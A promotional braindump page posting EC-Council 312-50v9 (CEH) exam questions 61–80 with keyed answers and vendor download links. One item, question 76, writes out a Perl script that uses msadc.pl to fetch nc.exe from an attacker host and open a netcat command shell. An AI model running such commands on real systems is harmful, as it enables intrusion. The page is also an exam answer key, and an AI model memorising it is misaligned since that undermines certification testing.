[2017 PDF&VCE Lead2pass Free EC-Council 312-50v9 Braindumps VCE Updated (61-80)

Lead2pass 2017 August New EC-Council 312-50v9 Exam Dumps! 100% Free Download! 100% Pass Guaranteed! I'm currently studying for EC-Council exam 312-50v9. I do enjoy studying for exams. It's hard, but it's an excellent forcing function. I learn bits and pieces here and there now and then about this and that, but when I have an exam schedule for a set date, I have to study! And not only do I put in more hours, but I follow a more systematic approach. In this article, I'm going to share Lead2pass braindumps in case you too are studying and this method works for you. Following questions and answers are all new published by EC-Council Official Exam Center: https://www.lead2pass.com/312-50v9.html QUESTION 61The use of alert thresholding in an IDS can reduce the volume of repeated alerts, but introduces which of the following vulnerabilities? A. An attacker, working slowly enough, can evade detection by the IDS.B. Network packets are dropped if the volume exceeds the threshold.C. Thresholding interferes with the IDS' ability to reassemble fragmented packets.D. The IDS will not distinguish among packets originating from different sources.Answer: A QUESTION 62What is the main advantage that a network-based IDS/IPS system has over a host-based solution? A. They do not use host system resources.B. They are placed at the boundary, allowing them to inspect all traffic.C. They are easier to install and configure.D. They will not interfere with user interfaces. Answer: A QUESTION 63The network administrator for a company is setting up a website with e-commerce capabilities. Packet sniffing is a concern because credit card information will be sent electronically over the Internet. Customers visiting the site will need to encrypt the data with HTTPS. Which type of certificate is used to encrypt and decrypt the data? A. AsymmetricB. ConfidentialC. SymmetricD. Non-confidential Answer: A QUESTION 64When an alert rule is matched in a network-based IDS like snort, the IDS does which of the following? A. Drops the packet and moves on to the next oneB. Continues to evaluate the packet until all rules are checkedC. Stops checking rules, sends an alert, and lets the packet continueD. Blocks the connection with the source IP address in the packet Answer: B QUESTION 65Which type of intrusion detection system can monitor and alert on attacks, but cannot stop them? A. DetectiveB. PassiveC. IntuitiveD. Reactive Answer: B QUESTION 66An organization hires a tester to do a wireless penetration test. Previous reports indicate that the last test did not contain management or control packets in the submitted traces. Which of the following is the most likely reason for lack of management or control packets? A. The wireless card was not turned on.B. The wrong network card drivers were in use by Wireshark.C. On Linux and Mac OS X, only 802.11 headers are received in promiscuous mode.D. Certain operating systems and adapters do not collect the management or control packets. Answer: D QUESTION 67From the two screenshots below, which of the following is occurring? First one:1 [10.0.0.253]# nmap -sP 10.0.0.0/243 Starting Nmap5 Host 10.0.0.1 appears to be up.6 MAC Address: 00:09:5B:29:FD:96 (Netgear)7 Host 10.0.0.2 appears to be up.8 MAC Address: 00:0F:B5:96:38:5D (Netgear)9 Host 10.0.0.4 appears to be up.10 Host 10.0.0.5 appears to be up.11 MAC Address: 00:14:2A:B1:1E:2E (Elitegroup Computer System Co.) 12 Nmap finished: 256 IP addresses (4 hosts up) scanned in 5.399 seconds Second one:1 [10.0.0.252]# nmap -sO 10.0.0.23 Starting Nmap 4.01 at 2006-07-14 12:56 BST4 Interesting protocols on 10.0.0.2:5 (The 251 protocols scanned but not shown below are6 in state: closed)7 PROTOCOL STATE SERVICE8 1 open icmp9 2 open|filtered igmp10 6 open tcp11 17 open udp12 255 open|filtered unknown14 Nmap finished: 1 IP address (1 host up) scanned in15 1.259 seconds1 [10.0.0.253]# nmap -sP 1 [10.0.0.253]# nmap -sP A. 10.0.0.253 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.B. 10.0.0.253 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2.C. 10.0.0.2 is performing an IP scan against 10.0.0.0/24, 10.0.0.252 is performing a port scan against 10.0.0.2.D. 10.0.0.252 is performing an IP scan against 10.0.0.2, 10.0.0.252 is performing a port scan against 10.0.0.2. Answer: AExplanation: QUESTION 68Pentest results indicate that voice over IP traffic is traversing a network. Which of the following tools will decode a packet capture and extract the voice conversations? A. CainB. John the RipperC. NiktoD. Hping Answer: A QUESTION 69Which technical characteristic do Ethereal/Wireshark, TCPDump, and Snort have in common? A. They are written in Java.B. They send alerts to security monitors.C. They use the same packet analysis engine.D. They use the same packet capture utility. Answer: D QUESTION 70Which set of access control solutions implements two-factor authentication? A. USB token and PINB. Fingerprint scanner and retina scannerC. Password and PIND. Account and password Answer: A QUESTION 71A security engineer has been asked to deploy a secure remote access solution that will allow employees to connect to the company's internal network. Which of the following can be implemented to minimize the opportunity for the man-in-the-middle attack to occur? A. SSLB. Mutual authenticationC. IPSecD. Static IP addresses Answer: C QUESTION 72A person approaches a network administrator and wants advice on how to send encrypted email from home. The end user does not want to have to pay for any license fees or manage server services. Which of the following is the most secure encryption protocol that the network administrator should recommend? A. IP Security (IPSEC)B. Multipurpose Internet Mail Extensions (MIME)C. Pretty

Good Privacy (PGP)D.   Hyper Text Transfer Protocol with Secure Socket Layer (HTTPS) Answer: C QUESTION 73To send a PGP encrypted message, which piece of information from the recipient must the sender have before encrypting the message? A.   Recipient's private keyB.   Recipient's public keyC.   Master encryption keyD.   Sender's public key Answer: B QUESTION 74An engineer is learning to write exploits in C++ and is using the exploit tool Backtrack. The engineer wants to compile the newest C++ exploit and name it calc.exe. Which command would the engineer use to accomplish this? A.   g++ hackersExploit.cpp -o calc.exeB.   g++ hackersExploit.py -o calc.exeC.   g++ -i hackersExploit.pl -o calc.exeD.   g++ --compile ? hackersExploit.cpp -o calc.exe Answer: A QUESTION 75A recently hired network security associate at a local bank was given the responsibility to perform daily scans of the internal network to look for unauthorized devices. The employee decides to write a script that will scan the network for unauthorized devices every morning at 5:00 am. Which of the following programming languages would most likely be used? A.   PHPB.   C#C.   PythonD.   ASP.NET Answer: C QUESTION 76A tester has been using the msadc.pl attack script to execute arbitrary commands on a Windows NT4 web server. While it is effective, the tester finds it tedious to perform extended functions. On further research, the tester come across a perl script that runs the following msadc functions: system("perl msadc.pl -h $host -C "echo open $your >testfile"");system("perl msadc.pl -h $host -C "echo $user>>testfile"");system("perl msadc.pl -h $host -C "echo $pass>>testfile"");system("perl msadc.pl -h $host -C "echo bin>>testfile"");system("perl msadc.pl -h $host -C "echo get nc.exe>>testfile"");system("perl msadc.pl -h $host -C "echo get hacked.html>>testfile"");("perl msadc.pl -h $host -C "echo quit>>testfile"");system("perl msadc.pl -h $host -C "ftp -s:testfile"");$o=; print "Opening ...n";system("perl msadc.pl -h $host -C "nc -l -p $port -e cmd.exe""); Which exploit is indicated by this script? A.   A buffer overflow exploitB.   A chained exploitC.   A SQL injection exploitD.   A denial of service exploit Answer: BExplanation: QUESTION 77One advantage of an application-level firewall is the ability to A.   filter packets at the network level.B.   filter specific commands, such as http:post.C.   retain state information for each packet.D.   monitor tcp handshaking. Answer: B QUESTION 78Which of the statements concerning proxy firewalls is correct? A.   Proxy firewalls increase the speed and functionality of a network.B.   Firewall proxy servers decentralize all activity for an application.C.   Proxy firewalls block network packets from passing to and from a protected network.D.   Computers establish a connection with a proxy firewall which initiates a new network connection for the client. Answer: D QUESTION 79On a Linux device, which of the following commands will start the Nessus client in the background so that the Nessus server can be configured? A.   nessus +B.   nessus *sC.   nessus &D.   nessus -d Answer: C QUESTION 80Which of the following tools will scan a network to perform vulnerability checks and compliance auditing? A.   NMAPB.   MetasploitC.   NessusD.   BeEF Answer: C More free Lead2pass 312-50v9 exam new questions on Google Drive: https://drive.google.com/open?id=0B3Syig5i8gpDTVZJRHRvblhycms If you want to prepare for 312-50v9 exam in shortest time, with minimum effort but for most effective result, you can use Lead2pass 312-50v9 dump which simulates the actual testing environment and allows you to focus on various sections of 312-50v9 exam. Best of luck! 2017 EC-Council 312-50v9 (All 589 Q&As) exam dumps (PDF&VCE) from Lead2pass: https://www.lead2pass.com/312-50v9.html [100% Exam Pass Guaranteed]